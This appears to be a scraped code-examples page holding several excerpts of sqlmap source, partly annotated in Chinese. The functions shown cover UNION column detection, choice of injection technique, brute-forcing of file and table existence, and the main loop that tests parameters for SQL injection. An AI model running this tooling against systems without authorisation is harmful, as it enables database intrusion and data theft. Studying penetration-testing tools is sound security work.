                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if lowerCount == 1:
            found = kb.orderByColumns or _orderByTechnique()
            if found:
                kb.orderByColumns = found
                infoMsg = "目标网址在查询中似乎含有%d列%s" % (found,
                                                 '(字段)' if found > 1 else "")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix,
                                          suffix, kb.uChar, where)
            payload = agent.payload(place=place,
                                    parameter=parameter,
                                    newValue=query,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code,
                               getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
                contains = [(count, re.search(regex, _ or "", re.IGNORECASE)
                             is not None) for count, _ in pages.items()]
                if len(filter(lambda _: _[1], contains)) == 1:
                    retVal = filter(lambda _: _[1], contains)[0][0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)
                lower, upper = average(
                    ratios) - UNION_STDEV_COEFF * deviation, average(
                        ratios) + UNION_STDEV_COEFF * deviation

                if min_ < lower:
                    retVal = minItem[0]

                if max_ > upper:
                    if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                        retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = u"目标网址似乎是可以使用UNION注入%d列" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO,
                             re.sub(r"\d+", "N", infoMsg))

    return retVal
Пример #38
0
def getValue(expression,
             blind=True,
             union=True,
             error=True,
             time=True,
             fromUser=False,
             expected=None,
             batch=False,
             unpack=True,
             resumeValue=True,
             charsetType=None,
             firstChar=None,
             lastChar=None,
             dump=False,
             suppressOutput=None,
             expectingNone=False,
             safeCharEncode=True):
    """
    sqlmap每次在受影响的参数上注入SQL查询时调用。
    """
    # 转为十六进制
    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    # keyword中是否存在("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")关键字
    for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
        expression = re.sub("(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword,
                            r"\g<1>%s\g<2>" % keyword, expression)

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression,
                                                 "'1'" if "'1'"
                                                 in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected ==
                           EXPECTED.BOOL else expression)

        elif any(
                isTechniqueAvailable(_)
                for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE,
                                              onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query,
                                       re.I):
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    kb.forcePartialUnion = kb.injection.data[
                        PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[
                        PAYLOAD.TECHNIQUE.
                        UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(
                            forgeCaseExpression if expected == EXPECTED.BOOL
                            else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = "something went wrong with full UNION "
                        warnMsg += "technique (could be because of "
                        warnMsg += "limitation on retrieved number of entries)"
                        if " FROM " in query.upper():
                            warnMsg += ". Falling back to partial UNION technique"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value
                                         is not None) or (value is None
                                                          and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(
                        PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(
                        forgeCaseExpression
                        if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
                    _ = "".join(
                        filter(None,
                               (key if isTechniqueAvailable(value) else None
                                for key, value in {
                                    'E': PAYLOAD.TECHNIQUE.ERROR,
                                    'Q': PAYLOAD.TECHNIQUE.QUERY,
                                    'U': PAYLOAD.TECHNIQUE.UNION
                                }.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
                         or isTechniqueAvailable(
                             PAYLOAD.TECHNIQUE.STACKED)) and not found:
                kb.responseTimeMode = re.sub(
                    r"(?i)[^a-z]", "",
                    re.sub(r"'[^']+'", "",
                           re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>",
                                  expression))) if re.search(
                                      r"(?i)SELECT.+FROM",
                                      expression) else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True
        kb.responseTimeMode = None

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any(
        (kb.testMode, conf.dummy,
         conf.offline)) and value is None and Backend.getDbms(
         ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = u"在对连续的数据进行检索的情况下,建议您尝试一个选项'--no-cast'或'--hex'"
        warnMsg += u"或'--hex'" if Backend.getIdentifiedDbms() not in (
            DBMS.ACCESS, DBMS.FIREBIRD) else ""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #39
0
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' or switch '--hex'"
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #40
0
            raise SqlmapConnectionException(errMsg)

        retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)]

    return retVal

def search(dork):
    pushValue(kb.redirectChoice)
    kb.redirectChoice = REDIRECTION.YES

    try:
        return _search(dork)
    except SqlmapBaseException, ex:
        if conf.proxyList:
            logger.critical(getSafeExString(ex))

            warnMsg = "changing proxy"
            logger.warn(warnMsg)

            conf.proxy = None

            setHTTPHandlers()
            return search(dork)
        else:
            raise
    finally:
        kb.redirectChoice = popValue()

def setHTTPHandlers():  # Cross-linked function
    raise NotImplementedError
Пример #41
0
def fileExists(pathFile):
    retVal = []
    paths = getFileItems(pathFile, unique=True)

    kb.bruteMode = True

    try:
        conf.dbmsHandler.readFile(randomStr())
    except SqlmapNoneDataException:
        pass
    except:
        kb.bruteMode = False
        raise

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(paths)
    threadData.shared.value = []

    def fileExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                path = paths[threadData.shared.count]
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            try:
                result = unArrayizeValue(conf.dbmsHandler.readFile(path))
            except SqlmapNoneDataException:
                result = None

            kb.locks.io.acquire()

            if not isNoneValue(result):
                threadData.shared.value.append(result)

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (
                        time.strftime("%X"), path)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        pushValue(logger.getEffectiveLevel())
        logger.setLevel(logging.CRITICAL)

        runThreads(conf.threads, fileExistsThread, threadChoice=True)
    except KeyboardInterrupt:
        warnMsg = "user aborted during file existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)
    finally:
        kb.bruteMode = False
        logger.setLevel(popValue())

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = "no file(s) found"
        logger.warn(warnMsg)
    else:
        retVal = threadData.shared.value

    return retVal
Пример #42
0
def tableExists(tableFile, regex=None):
    if kb.choices.tableExists is None and not any(
            _ for _ in kb.injection.data
            if _ not in (PAYLOAD.TECHNIQUE.TIME,
                         PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        warnMsg = "it's not recommended to use '%s' and/or '%s' " % (
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += "for common table existence check"
        logger.warn(warnMsg)

        message = "are you sure you want to continue? [y/N] "
        kb.choices.tableExists = readInput(message, default='N', boolean=True)

        if not kb.choices.tableExists:
            return None

    result = inject.checkBooleanExpression(
        "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                (randomInt(1), randomStr())))

    if result:
        errMsg = "can't use table existence check because of detected invalid results "
        errMsg += "(most likely caused by inability of the used injection "
        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

    pushValue(conf.db)

    if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
        conf.db = conf.db.upper()

    message = "which common tables (wordlist) file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % tableFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    if choice == '2':
        message = "what's the custom common tables file location?\n"
        tableFile = readInput(message) or tableFile

    infoMsg = "performing table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

    tables = getFileItems(tableFile,
                          lowercase=Backend.getIdentifiedDbms()
                          in (DBMS.ACCESS, ),
                          unique=True)
    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

    for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
        if conf.db and METADB_SUFFIX not in conf.db:
            infoMsg = "checking database '%s'" % conf.db
            logger.info(infoMsg)

        threadData = getCurrentThreadData()
        threadData.shared.count = 0
        threadData.shared.limit = len(tables)
        threadData.shared.files = []
        threadData.shared.unique = set()

        def tableExistsThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                kb.locks.count.acquire()
                if threadData.shared.count < threadData.shared.limit:
                    table = safeSQLIdentificatorNaming(
                        tables[threadData.shared.count], True)
                    threadData.shared.count += 1
                    kb.locks.count.release()
                else:
                    kb.locks.count.release()
                    break

                if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
                ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                    fullTableName = "%s.%s" % (conf.db, table)
                else:
                    fullTableName = table

                if Backend.isDbms(DBMS.MCKOI):
                    _ = randomInt(1)
                    result = inject.checkBooleanExpression(
                        "%s" % safeStringFormat("%d=(SELECT %d FROM %s)",
                                                (_, _, fullTableName)))
                else:
                    result = inject.checkBooleanExpression(
                        "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                                (randomInt(1), fullTableName)))

                kb.locks.io.acquire()

                if result and table.lower() not in threadData.shared.unique:
                    threadData.shared.files.append(table)
                    threadData.shared.unique.add(table.lower())

                    if conf.verbose in (1, 2) and not conf.api:
                        clearConsoleLine(True)
                        infoMsg = "[%s] [INFO] retrieved: %s\n" % (
                            time.strftime("%X"),
                            unsafeSQLIdentificatorNaming(table))
                        dataToStdout(infoMsg, True)

                if conf.verbose in (1, 2):
                    status = '%d/%d items (%d%%)' % (
                        threadData.shared.count, threadData.shared.limit,
                        round(100.0 * threadData.shared.count /
                              threadData.shared.limit))
                    dataToStdout(
                        "\r[%s] [INFO] tried %s" %
                        (time.strftime("%X"), status), True)

                kb.locks.io.release()

        try:
            runThreads(conf.threads, tableExistsThread, threadChoice=True)
        except KeyboardInterrupt:
            warnMsg = "user aborted during table existence "
            warnMsg += "check. sqlmap will display partial output"
            logger.warn(warnMsg)

        clearConsoleLine(True)
        dataToStdout("\n")

        if not threadData.shared.files:
            warnMsg = "no table(s) found"
            if conf.db:
                warnMsg += " for database '%s'" % conf.db
            logger.warn(warnMsg)
        else:
            for item in threadData.shared.files:
                if conf.db not in kb.data.cachedTables:
                    kb.data.cachedTables[conf.db] = [item]
                else:
                    kb.data.cachedTables[conf.db].append(item)

        for _ in ((conf.db, item) for item in threadData.shared.files):
            if _ not in kb.brute.tables:
                kb.brute.tables.append(_)

    conf.db = popValue()
    hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)

    return kb.data.cachedTables
Пример #43
0
def start():
    """
    此函数调用一个功能,对URL稳定性和所有GET,POST,Cookie和User-Agent参数进行检查,
    以检查它们是否为动态且SQL注入受影响。
    """

    if conf.direct:
        initTargetEnv()  #完成全局变量conf和kb的初始化工作
        setupTargetEnv()  #完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = u"您没有正确编辑配置文件,请设置 "
        errMsg += u"目标网址,目标清单或Google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = u"sqlmap共有%d个目标" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:

            if conf.checkInternet:
                infoMsg = u"[信息] 检查互联网连接"
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = u"[%s] [警告] 没有检测到连接" % time.strftime("%X")
                    dataToStdout(warnMsg)

                    while not checkInternet():
                        dataToStdout('.')
                        time.sleep(5)

                    dataToStdout("\n")

            conf.url = targetUrl
            conf.method = targetMethod.upper(
            ) if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any(
                [conf.data, conf.testParameter]):
                for parameter in re.findall(
                        r"([^=]+)=([^%s]+%s?|\Z)" %
                    (re.escape(conf.paramDel or "") or
                     DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
                     or DEFAULT_GET_POST_DELIMITER),
                        conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET,
                                parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = u"已经针对'%s'检测到SQL注入漏洞。 " % conf.hostname
                    message += u"你想跳过进一步的测试吗? [Y/n]"

                    kb.skipVulnHost = readInput(message,
                                                default='Y',
                                                boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = u"跳过'%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
                                                      targetUrl)
                else:
                    message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
                                                  targetUrl)

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % (
                        (conf.method if conf.method != HTTPMETHOD.GET
                         else conf.method) or HTTPMETHOD.POST,
                        urlencode(conf.data) if conf.data else "")

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(
                            "?") == -1:
                        continue

                    message += u"\n你想测试这个表单吗? [Y/n/q] "
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = u"编辑 %s 数据 [默认值: %s]%s: " % (
                                conf.method, urlencode(conf.data) if conf.data
                                else "None", "(警告:检测到空白字段)" if conf.data
                                and extractRegexResult(EMPTY_FORM_FIELDS_REGEX,
                                                       conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(
                                conf.data) if conf.data and urlencode(
                                    DEFAULT_GET_POST_DELIMITER,
                                    None) not in conf.data else conf.data

                        else:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") +
                                                       1:]
                                message = u"编辑GET数据 [默认值: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                else:
                    message += u"\n你想测试这个URL吗? [Y/n/q]"
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
                    elif choice == 'Q':
                        break

                    infoMsg = u"测试目标URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms
                                   ) or not checkString() or not checkRegexp():
                continue

            checkWaf()

            if conf.identifyWaf:
                identifyWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any(
                    (conf.string, conf.notString,
                     conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # 注意:这不再需要,
                    # 只有在页面不稳定的情况下才向用户显示警告消息
                    checkStability()

                # 对可测试参数列表进行一些优先级排序
                parameters = conf.parameters.keys()

                # 测试列表顺序(从头到尾)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
                             PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # 只有--level> = 3时,才测试User-Agent和Referer头
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # 只有--level >= 5时,才测试主机头
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # 只有--level> = 2时,才测试Cookie header
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(
                        PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(
                        PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(
                        HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect(
                        (PLACE.COOKIE, ), conf.testParameter, True))

                    if skip:
                        continue

                    if kb.testOnlyCustom and place not in (
                            PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (
                        None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = u"跳过以前处理的%s参数'%s'" % (paramType,
                                                            parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = u"跳过随机的%s参数'%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(
                                ' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (
                                re.search(conf.paramExclude, parameter, re.I)
                                or kb.postHint
                                and re.search(conf.paramExclude,
                                              parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter == conf.csrfToken:
                            testSqlInj = False

                            infoMsg = u"跳过anti-CSRF token参数'%s'" % parameter
                            logger.info(infoMsg)

                        # 忽略--level < 4 的会话类参数
                        elif conf.level < 4 and (
                                parameter.upper() in IGNORE_PARAMETERS
                                or parameter.upper().startswith(
                                    GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = u"忽略%s参数'%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = u"%s参数'%s'似乎不是动态的" % (paramType,
                                                                parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = u"跳过静态%s参数'%s'" % (paramType,
                                                                 parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = u"%s参数'%s'是动态的" % (paramType,
                                                             parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(
                                    place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (
                                            kb.ignoreCasted and check
                                            == HEURISTIC_TEST.CASTED):
                                        infoMsg = u"跳过%s参数'%s'" % (paramType,
                                                                   parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = u"在%s参数'%s'上测试SQL注入" % (paramType,
                                                                  parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(
                                    place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, "place",
                                           None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # 如果用户想要结束检测阶段(Ctrl + C)
                                        if not proceed:
                                            break

                                        msg = u"%s 参数 '%s' " % (
                                            injection.place,
                                            injection.parameter)
